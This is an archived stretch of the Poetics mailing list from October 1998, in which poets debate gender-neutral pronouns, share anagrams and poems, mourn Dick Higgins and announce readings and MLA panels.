How does language change? Complex pressure of social forces plus art, in part. I remember when "Negro" changed to "Black" after the confluence of hundreds of cities going up in smoke and James Brown "Black and Proud." Blind acceptance of universal "he" has been correctly challenged on a mass scale -- the publisher of my current book sent me guidelines on how to avoid gender-narrow language: amazing! It's a welcome change -- but one that is awkward because of the way that history -- negative as well as positive -- embeds social relations in English. Sometimes we can let the history of domination and violence embedded in language slide -- sometimes not. It all depends. There really has been no tremendous difficulty in developing the use of "lettercarrier" or "flight attendant;" certainly no problem in "poet" and dropping "poetess," etc. Still, the him/her and other constructions tend to be ugly, clumsy, awkward. After time new constructions may develop (just as "you" supplanted earlier "thou"). "They" used "incorrectly" may prove correct. In perverse moods, I advocate using "it," since I'm not convinced humans need to regard themselves as anything better than or separate from inanimate objects: "It hit 70 home runs this year! What a year it had!"

Hilton Obenzinger

↑ Index

765. **david bromige**
sending files to the List
Mon 26 Oct 1998

---

cuold there be an end to the general posting of files to the List? My software is not their equal--it's like watching a modest-sized python swallowing a yak. It takes a long time.

Couldnt the would-be poster of files let the List know they may have one upon b-c- request?

David

↑ Index

766. **david bromige**
Tony Lopez reads Nov. 29 ?
Mon 26 Oct 1998

Or is it just that it _seems_ that far off, intensely anticipated? D.

↑ Index

767. **Daniel Zimmerman**

Re: anagrams (fwd)

Mon 26 Oct 1998

David, et al.,

For a heap of these babies, as well as the opportunity to generate 'em, try

http://www.wordsmith.org/anagram/index.html

enjoy!

Dan Zimmerman

david bromige wrote:
>
> These in the e-mail from Doug Powell today :
>
> >
> >These anagrams were sent to me by Dodie Bellamy (email oddly be)
> >
> >
> >
> >Dormitory Dirty Room
> >
> > Desperation A Rope Ends It
> >
> > The Morse Code Here Come Dots
> >
> > Slot Machines Cash Lost in 'em
> >
> > Animosity Is No Amity
> >
> > Mother-in-law Woman Hitler
> >
> > Snooze Alarms Alas! No More Z's
> >
> > Alec Guinness Genuine Class
> >
> > Semolina Is No Meal
> >
> > The Public Art Galleries Large Picture Halls
> >
> > I Bet A Decimal Point I'm a Dot in Place

> >
> > The Earthquakes That Queer Shake
> >
> > Eleven plus two Twelve plus one
> >
> > Contradiction Accord not in it
> >
> >
> > This one's amazing: [From Hamlet, by Shakespeare]
> >
> > To be or not to be: that is the question, whether '
> > tis nobler in the mind to suffer the slings and
> > arrows of outrageous fortune.
> > -becomes-
> > In one of the Bard's best-thought-of tragedies,
> > our insistent hero, Hamlet, queries on two fronts
> > about how life turns rotten.
> >
> > And the grand finale:
> >
> > "That's one small step for a man, one giant leap
> > for mankind." --- Neil A. Armstrong
> > -becomes-
> > A thin man ran; makes a large stride; left planet,
> > pins flag on moon! On to Mars!

↑ Index

768. david bromige
anagrams (fwd)
Mon 26 Oct 1998

These in the e-mail from Doug Powell today :

> *These anagrams were sent to me by Dodie Bellamy (email oddly be)*
>
> *Dormitory Dirty Room*
>
> *Desperation A Rope Ends It*
>
> *The Morse Code Here Come Dots*

> *Slot Machines Cash Lost in 'em*
>
> *Animosity Is No Amity*
>
> *Mother-in-law Woman Hitler*
>
> *Snooze Alarms Alas! No More Z's*
>
> *Alec Guinness Genuine Class*
>
> *Semolina Is No Meal*
>
> *The Public Art Galleries Large Picture Halls*
>
> *I Bet A Decimal Point I'm a Dot in Place*
>
> *The Earthquakes That Queer Shake*
>
> *Eleven plus two Twelve plus one*
>
> *Contradiction Accord not in it*
>
> *This one's amazing: [From Hamlet, by Shakespeare]*
>
> *To be or not to be: that is the question, whether '*
> *tis nobler in the mind to suffer the slings and*
> *arrows of outrageous fortune.*
> *-becomes-*
> *In one of the Bard's best-thought-of tragedies,*
> *our insistent hero, Hamlet, queries on two fronts*
> *about how life turns rotten.*
>
> *And the grand finale:*
>
> *"That's one small step for a man, one giant leap*
> *for mankind." --- Neil A. Armstrong*
> *-becomes-*
> *A thin man ran; makes a large stride; left planet,*
> *pins flag on moon! On to Mars!*

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769. **david bromige**

re : taking care with the language

Mon 26 Oct 1998

> *DZ: I agree that *never* using a feminine pronoun demonstrates a pitiful*
> *--even reprehensible--degree of opacity, but I did not even suggest that*

> *particular straw man, nor do I feel responsible to undo the injustices of the past, since the evils of the present offer such abundant targets.*

--for instance, it would need to be straw wo/man.

↑ Index

770. **Mark Weiss**
Re: re : taking care with the language
Mon 26 Oct 1998

Now David, that's an interesting piece of history embedded in language. For reasons not obvious to me straw figures used to scare birds away from crops are almost always male, although the humans who served that role were usually children of both genders. "Straw Woman" is almost exclusively a modern commercial development (I remember dimly a Hollywood dance number with a straw couple). Snow folk are also interesting. It's almost always a man.

At 07:04 PM 10/26/98 -0800, you wrote:
>>DZ: I agree that *never* using a feminine pronoun demonstrates a pitiful
>>--even reprehensible--degree of opacity, but I did not even suggest that
>>particular straw man, nor do I feel responsible to undo the injustices
>>of the past, since the evils of the present offer such abundant targets.
>
>--for instance, it would need to be straw wo/man.
>
>

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771. **Pierre Joris**
Dick Higgins
Mon 26 Oct 1998

Sad news tonight : Dick Higgins passed away yesterday. He was a major figure in a complex set of art & poetry crossovers — poet, composer, painter, translator and art theorist, he was involved early on with happenings and was a core member of Fluxus — defining what came to be known by his own term of "intermedia." Of himself he said: "I find I never feel quite complete unless I'm doing all the arts--visual, musical and literary. I guess that's why I developed the term 'intermedia,' to cover my works that fall conceptually between these." As founder of Something Else Press he published works by Alan Kaprow, Gertrude Stein, Marshall McLuhan, John Cage, Merce Cunningham, Emmett Williams, and Ray Johnson among others. His forty-seven books include _foew&ombwhnw_ (something else press), _Poems Plain & Fancy_ (Station Hill Press) and _A Book About Love & War & Death_ (Something Else). He edited and annotated

Giordano Bruno's_ On the Composition of Images, Signs & Ideas _(Willis, Locker & Owens), as well as the marvellous anthology _ Pattern Poetry : Guide to an Unknown Literature_ (SUNY Press).

A small poem from _foew&ombwhnw_ :

v - cry

w h y
c r y
w h y
d i e

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
All that is not gas is grammar
  — Wittgenstein
==========

↑ Index

772. A. Jenn Sondheim
Upcoming at Hunting Beach / Beyond Baroque
Mon 26 Oct 1998

-

Inviting anyone in the Los Angeles area to come to the following:

Friday, 8:00 PM, November 6
"Alan Sondheim on Internet Subjectivity"
Huntington Beach Art Center
538 Main Street
Huntington Beach, CA 92648
[redacted]
General admission: $5
Student, seniors, members: $4

from 405 Frwy: exit Beach Blvd.-South, drive 5 miles, right onto PCH, right onto Main St., drive 3 blocks, art center is at 538 Main St. Free parking.

Also showing tape/reading along with Tyler Stallings showing tape/reading at Beyond Baroque, Thursday, Nov. 5, at 7:30. (I don't have their phone number for other details, check the phone book.)

(There are other talks in classroom situations; you could contact me back-channel for further information.)

Please come and introduce yourself, thanks!

Alan

URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt

↑ Index

773. **Kathy Lou Schultz**
Lipstick and panties
Mon 26 Oct 1998

All this panty talk is getting my panties in a well--never mind. . . My true and correct purpose here is to answer the question as to whether Lipstick Eleven will accept e-mail orders from the List, and the answer--because I trust each and every one of you to send your eight bucks by hook or by crook--is "yes." And make those checks out to me folks. And while you're at it, we have a new domain name home for our Web site at www.duckpress.org, so have fun. (For extra fun check out www.duckpress.com--but don't say I didn't warn you.)

Kathy Lou Schultz
42 Clayton Street
San Francisco, CA 94117-1110

p.s. Remember postage is FREE--even outside the U.S.

L. MacMahon and T.R. Healy wrote:
>
> For aspiring and possibly perspiring editors it may be worth pointing out
> that the poet's intentions may not be sexual. Even light gauge pantie
> elastic - worn by whatever gender - can take
> an eye out.
>
> Randolph Healy
>
> from [redacted]
>

> ----------
> > From: Billy Little <[redacted]>
> Not to mention the sex, to transpose the Tom
> > Clark axiom, on every little campus there's a poet that'll snap their
> > pantie elastic at the mere sight of an editor.

↑ Index

774. Leonard Brink
erotica and small mags
Tue 27 Oct 1998

I'll send a free copy of Inscape 3
(Poetry by John Olson, Martha Ronk, Gene Frumkin, Ray DiPalma, Dennis Barone & Elizabeth Robinson)
to the first 20 people who backchannel me.

↑ Index

775. George Bowering
re : taking care with the language
Tue 27 Oct 1998

> *--for instance, it would need to be straw wo/man.*

Well, no, David. It would have to be straw/hay wo/man

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

776. Tom Orange
errata & small magazines
Tue 27 Oct 1998

Leonard Brink asks: "How is promoting others at ones own expense of time, money, energy, and ones own work as "self-serving" as submitting poems to be published at someone else's expense of time, money, energy and work?"

leonard, i'm thinking less in terms of economic than symbolic capital. the editor of a fine mag should receive as much distinction as the contributor of a fine poem. any practice can thus be seen as geared towards the accumulation and

maintainance of one's own symbolic capital and hence be considered self-serving.

t.

[redacted]

↑ Index

777. A. Jenn Sondheim
Re: re : taking care with the language
Tue 27 Oct 1998

I don't want to be difficult here, but there are serious issues with pronouns; it's not that difficult to use she/he, he or she, one, or alternate them - when you teach in art school and both female and male students are trying to find their (that plural) own identity through their work - and when sexism is still deeply embedded in the artworld - making those changes - which are admittedly often awkward and noticable and therefore politicizing/empowering - can make a real difference in how a male or female student views his or her potential for an arts career. I've seen far too many male circles around male teachers, far too many quiet exclusionisms etc. I'm not arguing for PC by the way - which I hate - but sensitivity. Language can go a long way towards that.

Alan

↑ Index

778. Tom Orange
Spicer at MLA
Tue 27 Oct 1998

---

shaunanne wrote:

"MLA is in SF _this_ december (1998); i'm not sure where it will be in '99, but it should be mid-continent (denver, chicago, dallas)."

pretty sure next year's MLA (i.e. december 1999) is in washington d.c.

t.

[redacted]

↑ Index

779. **dbkk**
Re: anagrams (fwd)
Tue 27 Oct 1998

Just to give credit where credit is due, the anagrams were sent to me by Pam Lu and I sent them to Doug because Doug is fond of e-mail fun. What *is* the term for these types of cute forwards?

Dodie

↑ Index

780. **A. Jenn Sondheim**
Re: Dick Higgins
Tue 27 Oct 1998

This is very upsetting; Something Else has been a huge influence in my life - Spoerri's work for example, Higgins' energy, the early artists' books, the Merce Cunningham work - all of it. Higgins was everywhere; I never knew what to make of that end of fluxus, and still don't. I also felt he deserved a whole lot more credit than he received. An Anecdoted Topography of Chance (Spoerri) was my favorite artist book. All of Spoerri's work makes me think... And Something Else had a resonance about it - they published people like Benjamin Patterson, who should also have been better known.

Alan

↑ Index

781. **Bob Grumman**
Re: Dick Higgins
Tue 27 Oct 1998

Yes, very sad--and unexpected--the news about Dick Higgins. He was "only" a phone&letter friend of mine but his death has put a significant void into my life. He was an ever-decent, supportive and hugely talented man. More branches of the arts than even he was aware of will miss him.

--Bob G.

↑ Index

782. **J. Kuszai**
piazza tales
Tue 27 Oct 1998

---

thanks to everyone who replied to me concerning server space and everyone who offered space or had suggestions for now, howver, I have decided to re-

sign with Univ.at Buffalo under the stewardship of Loss Glazier, general manager of the EPC and many other domania there.

When I first went to New York, I knew it was right for me. The people really made me feel welcome there.

*

I've been following the debates here without disciplined regu-hilarity and wanted to inject a thought into the talk. someone mentioned cultural capital as an aspect of publishing. and it is clear to me how being a publisher generates capital (both symbolic and real). And while i have certainly feasted on the lush life of grandiosity and excess generated by my super-status as a small press publisher, and despite the endless favors of publication, travel, money, sports-tickets, whathaveyou, and aside from the public recognition I receive on the streets of Spring Valley and from my co-workers at the office (who otherwise just thought of me as someone *only* sitting near the edge of his rocker), I can tell you there is nothing to it. I would gladly give this all up for a little happiness.

The concept of cultural capital here makes me nervous, not because I don't believe that it exists, but because it seems to me that to complain about capital *here* in a scene rife with unacknowledged or unrecognized symbolic or cultural capital is a little ridiculous.

But that said, it makes me nervous that I would have this capital, or that by operating in a network productive of said capital, I might be unaware of its effects.

I'm thinking that there has to be a way to destroy some of this excess capital without getting into sublime waste or without seeming so ultimately bourgeois, and the only way that I've figured that one can do it would be to make mistakes, lots of them. Let people down and disappoint them and then suddenly the world is your conch shell. You can hear the crowd roaring from one thousand million miles away. You can hear them from the lockerroom. My back hurts.

I'm off to operate heavy machinery as part of a deal I made with the State of California...

jk

p.s. some back channel talk of a "chapbook union" or organization to help with the distribution and to further solidfy trade routes in back waters and offshore islands. Any ideas on this out there?

↑ Index

783. **Mairead Byrne**
Re: speaking of taking care with language...
Tue 27 Oct 1998

People have been yammering away about ugly modifications to the language (English! Irish! French! Turkish! To name my few) for a long time now and all they ever succeed in doing is coming off like major cranks and stick-in-the-muds. I speak of YOU Daniel Zimmerman. What IS all this stuff about *deformity,* and *withering away,* and *grotesqueries*? I see language as a dirty big glacier that is inexorable, quite immune to your yapping. Avaunt she and he and his and her! You buffalos with your stumbling over pronouns and one hundred names for the gap between words and how many angels can dance on the point of a pin, you fusty "experimentalists"!

↑ Index

784. **Mairead Byrne**
Re: re : taking care with the language
Tue 27 Oct 1998

AWKWARD IS GOOD

↑ Index

785. **MAYHEW**
to one who uses the language
Tue 27 Oct 1998

I was reading through the MLA guide to non-sexist usage to see if it could be of help on this issue. A lot of the examples in the book tended to be from bureaucratese, so it struck me that 90% of the problem was in phrases in which some "general rule" was proposed--the well-known false universal of "everyone should eat his vegetables" or "the tenure candidate should make sure to kiss his chair's butt." In my own critical writing the problem usually only surfaces in phrases about "the reader," which I try to avoid anyway. Other than that I am always thinking about some specific he or she. The he or she in hypothetical examples gives them an air of vagueness. Yet if *one* uses she, and the hypothesis is negative, one exposes oneself to charges of sexism: "the editor, with her ink-stained hands and fatuous air, deliberatlely introducing typos into the work of hapless avant-garde poets..."

There is a poem by Juliana Spahr that uses the bureaucratic "he or she" to good poetic effect. I think I could have read it in Chicago Review recently.

Jonathan

↑ Index

786. **R I Caddel**

Crump (fwd)

Tue 27 Oct 1998

Forwarded on behalf of Peter Riley, in case Ray Crump is alive and well, and living in the American poetic community... And for interest, one hopes. RC

---------- Forwarded message ----------
Date: Sun, 18 Oct 1998 18:37:12 +0000
From: Peter Riley <[redacted]>
To: [redacted]
Cc: [redacted]
Subject: Crump

WHERE ARE THEY NOW? Number two

FIVE POEMS------

The praise of death falls
light as
light on flowers. We are
comfortable, warm
and certain as the night
of cause and plan. The hand
that trembles
trembles like a fan, the bones
wake out of it. She shuts the door the
flowers die. It all so
lightly shakes.

Sweet light snow
flakes smiling people
crush under
foot. The gangster is
dead and fallen on
flowers. Hand slices three
hours snow off the wind
screen all down
night sky.

N.A.B.

Cold morning in the white
room. Old man

blowing plumes of pipe
smoke rose
and blue. We are all waiting
for money.

Marrakech they're off
to. Well
forget the star
coat but try for red. You'll
come home tanned and sleep three
days, see you by
the river? (Fleurs
du mal, advisedly.)

Rose hips
in the bowl. This
found or
left, enough, making
no demands. My bones
sing hard melody.

These poems are by Ray Crump, and were written circa 1968. He was at the time a student at Cambridge and that's just about all I know about him. He knew J.H.Prynne and may have studied under him. He contributed poems like these to The English Intelligencer, Collection, The Park and probably other magazines of that time. He knew a London poet called Geoffrey Hazard and in 1968 they planned a magazine together called Little Wren, which never appeared. There was no collection, though about two years later I did see in Better Books a small book by him published by an obscure American small press, which I foolishly didn't buy. Perhaps he went to the States.

I've got my own typescript collection of about 60 of these poems and three short sequences, some unpublished. They're mostly short and stuttery like these, with very short and/or broken lines. They don't all have the epiphanic concentration of these, some are plainer (like the third here), some are beset with strangely literary terms like "'twas". Perhaps a lot of them don't come off at all. But there's something unique about these little pieces at their best, a unique way of cutting abstracts and symbolic fragments into that calm pseudo-oriental short-line pastoral daze, and I thought his handling of line-end could be very skillful.

I don't suppose anybody knows.....

I'll repeat this on Poetry Etc. (I don't normally approve of such doublings) because although it's an issue of British poetry if he did go to the States somebody somewhere out there might....

/PR

↑ Index

787. Matt Kirschenbaum
Re: Spicer at MLA
Tue 27 Oct 1998

> *shaunanne wrote:*
>
> *"MLA is in SF _this_ december (1998); i'm not sure where it will be in '99, but it should be mid-continent (denver, chicago, dallas)."*
>
> *pretty sure next year's MLA (i.e. december 1999) is in washington d.c.*
>
> *t.*
> [redacted]

Nope, 1999 is Chicago. Deadline for special session proposals is typically first week of April. Matt

↑ Index

788. Mark Prejsnar
we who are about to abuse the language
Tue 27 Oct 1998

Yes, Spahr is one of the few poets doing work that is highly aware of the huge range of contemporary bureaucratic, journalistic, academic, etc. argots that do so much to structure the contemporary verbal surround.

This strikes me as rather remarkable. (It seems like more poets ought to be aware of and responsive to these midgecloud cluster langpro phenomena....)

It also strike me, that it is **perfectly OK** for speakers and writers to use nonsexist constructions. Even laudable. These days (when all you ever hear is crypto-rightist sneers about how everything and its mother is "pc") it bears repeating that its OK to hate sexism... (You wdn't really think so, from most of the oh-so-amusing jabs being telegraphed here..)

It also strikes me, that it is **almost exclusively men** who have been yukkin' it up in such a self-congradulatory mood, about how nonsexist usage is bad....

Does this maybe tell us something??

On Tue, 27 Oct 1998, MAYHEW wrote:

> *I was reading through the MLA guide to non-sexist usage to see if it could be of help on this issue. A lot of the examples in the book tended to be from bureaucratese, so it struck me that 90% of the problem was in phrases in which some "general rule" was proposed--the well-known false universal of "everyone should eat his vegetables" or "the tenure candidate should make sure to kiss his chair's butt." In my own critical writing the problem usually only surfaces in phrases about "the reader," which I try to avoid anyway. Other than that I am always thinking about some specific he or she. The he or she in hypothetical examples gives them an air of vagueness. Yet if *one* uses she, and the hypothesis is negative, one exposes oneself to charges of sexism: "the editor, with her ink-stained hands and fatuous air, deliberatlely introducing typos into the work of hapless avant-garde poets..."*
>
> *There is a poem by Juliana Spahr that uses the bureaucratic "he or she" to good poetic effect. I think I could have read it in Chicago Review recently.*
>
> *Jonathan*

↑ Index

789. **Jerry McGuire**

Re: POETICS Digest - 25 Oct 1998 to 26 Oct 1998 (#1998-105)

Tue 27 Oct 1998

In response and deference to Henry Gould, it seems to me that "elf" neglects the juicy and invigoratingly brutal history of the language, opting instead for a specious inscription of its cuter side.

My own suggestion, after years of wrestling with the pronomial Muse (whoa! back up--she's just one of the guys!) is "hissic," or perhaps "hisic." This is an abbreviated form of the tendency I think the language has been assuming for the past twenty years or so, as in:

> *"The conscientious editor is a self-flagellating goody-goody who loves all gooey writing and does his [sic] best to publish*
> *the best out there."*

Chea/hirs,

Jerry

↑ Index

790. Joe Amato/Kass Fleisher

Re: speaking of taking care with language...

Tue 27 Oct 1998

dan, permit me to be a bit pedantic... there's a book---mayhap the source for the guidelines hilton's publisher sent him---_language, gender, and professional writing: theoretical approaches and guidelines for nonsexist usage_, ed. by paula treichler and francine w. frank... came out in 1989, and so covers much of this issue from a slightly dated perspective... but a quick way to get up to speed c. 1989...

which is another way of saying that i don't think we're up to speed yet, culturally speaking, in part thanx to the various backlashes of the 90s..

there IS so much more to say here, and this is one of those times when my motivations in arguing for a different approach to pronouns are underwritten by (again and again) feminist thinking on the matter... as opposed, say, to concerns over consequent "style"... no point in my citing more texts---suffice to say there are any number that seem to me to communicate the urgency of such ostensibly "simple" controversies as 'she rather than he'... and by "texts" i include of course the various submissions by students i've had the pleasure of eyeballing closely over the last decade...

i like bog g's notion that poets may in some sense be insensitive to language---insofar as poets may be willing, say, to fracture a few phonemes... but insofar as poets don't or won't COMPREHEND the s/he issue as potentially complex and far-reaching---well, not very poetic of them!... in any case, the issue turns, again, on what one is hoping to achieve through one's words (albeit we may not always have clear intentions)... and for me, wrt this issue, there are some clearcut political benefits to advocating greater awareness of pronominal usage, and altering our habits accordingly when it comes to specific language practices...

and to cut down on my posting, on another thread: sad news indeed re dick higgins... admittedly my only exchange with him was in *these* spaces, and we didn't quite see eye to eye... but there's no doubt as to the value of his work, and i wish i could have had the chance to meet him ftf, try to iron out our differences over a handshake...

best,

joe

↑ Index

791. Henry Gould
Re: joy of pronouns
Tue 27 Oct 1998

By a strange coincidence, Jerry will be gratified to learn, "hisic" is slang in elfin [or wandthlashasha, in elfin] for "elf"!! Is this pronoun progress, or what? Calling all she-he and he-shes! Duluth, your day has dawned, chill with the snowballs & the sound of fat gulls yodeling! Let me, if you will, be the first to write an official "nude sentence" using the new terminology:

"Lifting elf proud pen in hand, the noble & good-looking editor scratches elf errors while itching elf "pants", with but one hand - and elf efforts resound, and resound, and again resound, ever and anon, acrost the yenglesh lengwedge!"

Say, how'm I doin? Say, how about them Mets?

- Henry Gould

↑ Index

792. miekal and
mestostic for dick higgins by miekal and
Tue 27 Oct 1998

Dinner
certaIn
Changing
blanK

wHen
noIse
Girl
somethinG
obvIous
iNterested
spotS

_____

words extracted from "foew&ombwhhw" by dick higgins

↑ Index

793. miekal and
errata Re: mestostic for dick higgins by miekal and
Tue 27 Oct 1998

move the word "Dinner" eleven spaces to the right

↑ Index

794. Douglas Barbour
Re: speaking of taking care with language...
Tue 27 Oct 1998

'"They" used "incorrectly" may prove correct.' So says Hilton Obenzinger. Ursula K, Le Guin also said, when reconsidering her use of 'he' & 'his' in _The Left Hand of Darkness_, 'until the sixteenth century the English generic singular pronoun was they/them/their, as it sill is in English and American colloquial speech. It should be restored to the written language, and let the pedants and pundits squeak and gibber in the streets.' I now allow this usage. Why not? A friend simply shifts from he to she from one paragraph to the next. Another way of dealing with the problem?

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English
University of Alberta
Edmonton Alberta Canada T6G 2E5

> Swept snow, Li Po,
> by dawn's 40-watt moon
> to the road that hies to office
> away from home.
>
> Lorine Niedecker

↑ Index

795. R.Gancie/C.Parcelli
Politically Erect
Tue 27 Oct 1998

Funny how some people find changes to language in terms of pronoun consideration too awkward, disturbing, debilitating, false & culturally violent, yet let the tactically, right-wing ideologically coined & promoted phrase 'pc' just have its way with them.

--Rosalie Gancie
(Message title thanks to Carlo Parcelli)

↑ Index

796. KENT JOHNSON
Tilting a metaphor
Tue 27 Oct 1998

A couple days ago I posted on Peter Gizzi's new book, _The House that Jack Built_, and made mention of his afterword, a really magnificent essay on Spicer's poetics. When writing is good, sometimes it makes you want to argue, and so here is something Gizzi says that I would have an argument with, as one can have an argument with anything:

"Through his practice of dictation and waiting, Spicer creates orphic gaps in the surface of his poems, and every time we read a gap we fall, like Orpheus, into the poem's underworld. When we fall through and into the poem, we enact our struggle to make meaning. We light up with various potential meanings, like pinball machines."

But I would say to Gizzi if he were listening that readers are not pinball machines. In a materialist poetics like Spicer's, it is the poem that is the pinball machine, and every shake of the box, every pull of the knob, every flipper flip, every thrust of the hip and head the poet makes to get the ball to bounce and go where it should, is written from the beginning into each pinball poem. Balls behave differently every time. They are crazy. The ball pops up and goes fast into the poem. Bounce, bounce, bing, bing, but every different game is preordained. The poet ghost knows this but he has to play and play, as if he were in Hell.

The reader is the ball. Balls can be bumped and flipped to where they should go, and sometimes they bounce and careen like madcaps to score big points, and sometimes they fall into a gap and are gone or fall into a light-ringed hole and pop back out, making bells go ding and bodiless voices speak or sing. Sometimes the machine lights up like a town, but for the most part it doesn't. Whether it does or it doesn't is of absolutely no concern to the reader, who is simply a ball. Each pinball machine is connected to every other pinball machine. There are a lot of pinball machines in Hell.

Maybe, anyway. But do check out this fine book.

Kent

↑ Index

797. Poetics List
Pleynet in New York (fwd)
Tue 27 Oct 1998

Marcelin Pleynet
in a bilingual poetry reading with Serge Gavronsky

Saturday, November 14 at 8pm
Sulzburger Parlor
3rd Floor Barnard Hall
Barnard College
3009 Broadway (between 116th and 117th Street)
NYC

Free

Pleynet has been an editor of two of the most important magazines in France, Tel Quel and L'Infini. A literary critic, art historian, and a novelist, Pleynet is renowned as a poet - and author of Les Trois Livres and La Méthode.

*

Pleynet also will be reading in Buffalo Weds., Nov. 11, at 4pm

↑ Index

798. **Burt Hatlen**

Re: POETICS Digest - 25 Oct 1998 to 26 Oct 1998 (#1998-105)

Tue 27 Oct 1998

[redacted] writes:
>MLA is in SF _this_ december (1998); i'm not sure where it will be in
>'99,
>but it should be mid-continent (denver, chicago, dallas). a quick
>purusal
>of the '98 program revealed nothing relating to either spicer or the SF
>Ren. ...too bad, it's a good idea...

> *--ShaunAnne Tangney*

There is a panel on Robert Duncan at the 98 MLA. He did, I believe, have some connection with the San Francisco Renaissance. Panel 181, on Monday, December 28, 8:30 to 9:45 A.M., Parlor 9 of the Continental Ballroom, in the Hilton. Panelists include David Bromige, Robert Bertholf, and Devin Johnston. Also some people on this list might be interested to know that there will be a poetry reading at the '98 MLA, with Leslie Scalapino, Lyn Hejinian, and David Bromige. Monday, December 28, 5:15-6:30, Franciscan Room A of the Hilton. And some of you might be interested in the George Oppen panel (#460) on Tuesday, December 29, 8:30-9:45 A.M., in the Franciscan Room A of the Hilton. Panelists are Alan Golding, Gwyn McVay, Burt Kimmelman, and me. All three events were proposed by yours truly, and were organized primarily through this Poetics list, which proved a dandy way of pulling together some like-minded people on short notice.

Burt Hatlen

↑ Index

799. L. MacMahon and T.R. Healy

Shearsman 36

Tue 27 Oct 1998

Yes the new Shearsman is out. And very welcome it is too.

Just glancing through:

A Vignette by Karin Lessing ... "a swallow's // wings / ignite, grace // of their passing // over us, through, us, who are / forms of air ..."

and four poems by Martin Corless-Smith including _Two Stanzas Concerning the Physical nature of Language_ ...
"Seen after a Bright sky
Light the black writings green
Before I understood this place
All I wanted was a garden (scene)

this paper linen gjrass or fruitless weeds
on my own dust mere dust it is
In slow letters of light
A place and no more is set down"

(BTW did anyone else catch Martin's excellent interview with Ric Caddel in the latest Denver Quarterly?)

Not to mention a fine slab of a new poem by Billy Mills _What is a Mountain?_

I've still to read Simon Perchik's _Four Poems_
Peter Robinson's three poems, (I really like the stanza length sentences, lovely syntax)
Matthew Mead and Ian Davidson

and congratulations to Trevor Joyce on getting such a fine notice of _Syzygy_.

Shearsman is available from Tony Frazer, 47 Dayton Close, Plymouth PL6 5DX, England. (e-mail: [redacted])

must go, gotta read

Randolph Healy

from [redacted]

↑ Index

800. Christina Fairbank Chirot
Re: errata & small magazines
Tue 27 Oct 1998

On Sun, 25 Oct 1998, Maria Damon wrote:

> At 10:50 AM -0800 10/25/98, Mark Weiss wrote:
> >I have a first edition third state of Dryden's Absalom and Achitophel.
>
> oh yeah? well i've got an old paperback copy of Marquis's Archi and
> Mehitabel. on anothe note, saw the David S. Ware quartet last night they
> were out of this world. very groovy, elsewhere music.
>

tying two threads, we have a 1st edition of Huck Finn Dave found at library sale in Vermont for 10 cents - identified as such, of course, by the errata in the text.

↑ Index

801. Mairead Byrne
Re: Question
Tue 27 Oct 1998

You guys with two names on your email address: do you get to read each other's mail or what and does that cause trouble? Ever?

↑ Index

802. Christina Fairbank Chirot
Re: speaking of taking care with language...
Tue 27 Oct 1998

---

womyn & variants have been in use for decades now you wordsmithsOn Mon, 26 Oct 1998, Mark Weiss wrote:

> *While we're reforming the language (and in the process erasing its history), has anybody thought to find better terms than fe-male and wo-man? Surely we can come up with words that aren't so clearly a product of patriarchy.*
>
> *Since I'm leaving town for a couple of weeks I thought I might make a little mischief.*
>
> *At 02:20 PM 10/26/98 -0700, you wrote:*
> *jen hofer - yeah so when i read yer NOTE about HIS i thought hey well thanks for the reminder, but certainly these terribly enlightened and perceptively groovy folks on the buflo listserv slip once in a while, some forget that women got the vote a little while back and all, no harm no*

> *foul*
>
> *BUT.....*
>
> *On Mon, 26 Oct 1998, Daniel Zimmerman wrote:*
>
> *If a writer wants to make himself or herself appear truly ridiculous,*
> *s/he ought to ensure the PC [pronominal correctness] his/her scrivenage,*
> *s/he need only mindlessly cleave to the hermaphroditic fallacy*
>
> *what fallacy is this ?? the one about me not having to buy into the*
> *necessity to live out a masculine scopophilic fantasy...a fallacy to even*
> *suppose that it's possible for a woman to live not as a backdrop to every*
> *mode of discourse ever developed...to attempt to live not through a single*
> *my very own special solid ME...YES , what a farce, to acknowledge the*
> *discomfort of leaving our pretty syntax, to find out a conceptual*
> *framework is only a framework and can OHMYGOD possible be shifted*
> *OH the possibilities of language!, may we never go to far (even with those*
> *pesky ole pronouns)*
>
> *the real problem is that using a universal 'she' is immediately much*
> *fishier - certainly should be fishy in universalizing, but certainly is*
> *never the proposed soluntion when PC-backlashers harp on the silliness of*
> *making pronouns co-ed , hence...*
>
> *When possible, I use*
> *plurals; if not, I usually manage to fend off the harpies of PC & employ*
> *the masculine singular, unless the feminine makes more sense.*
>
> *and so given these conditions, it seems that conveniently the feminine*
> *could never 'make more sense'*
>
> *Why savage the tongue?*
>
> *shit on it spit on it please to god take away any thing called MINE*
> *(voice) cause certainly will never do no one no good unless it is*
> *adequately ruined spoiled fucked run amuck in the squalor*
> *and thats that*
>
> *PC usage makes the writer seem *primarily**
> *concerned with avoiding the *appearance* of sexism, rather than with*
> *communicating any particular ideas. It says "don't think; obey." It*
> *ignores, hegemonically, instance for principle, tree for forest. It also*
> *undercuts its own purpose because it provides a mantric smokescreen for*

sexists: just perform the magic chant & no one will ever know.

one li'l ole pronoun does all that - in that case i say go for it
...and if all of the sexist people i meet were ever actually take measures
to simply 'avoid the appearance of sexism', while wallowing at night in
their bedrooms full of sexist rage (thinking of me while shouting 'hey
sweetheart, hey honey, hey dear, hey beautiful come sit on my lap, hey
bitch...'you can imagine!) i would ask for nothing more

intentions don't stiffen this rubber crutch.

i should hope not!

peace love understanding,

rd

Dan Zimmerman

Mark Weiss wrote:

Sometimes I forget and write the English I was taught is proper,
instead of
"his or her," which is my usual compromise. Is there a pc way to do
this in
languages in which all nouns are gender-marked?
No apologies.

At 11:30 PM 10/25/98 -0600, you wrote:
Mark Weiss writes:
That said, care in proofing is the editor's first responsibility to HIS
readers and contributors.

(highlight mine)

One wonders what century a person lives in (or what magazines she or he
publishes in!) if all the editors are men.

Or perhaps it is that women editors (editrixes?) do not make errors?

May seem picky, but some "typos" have a lengthy history.

> *gender-neutral kisses from your local grammar queen,*
>
> *jen hofer*

↑ Index

803. **Maria Damon (Maria Damon)**
Re: errata & small magazines
Tue 27 Oct 1998

At 12:28 PM 10/27/98, Christina Fairbank Chirot wrote:
>On Sun, 25 Oct 1998, Maria Damon wrote:
>
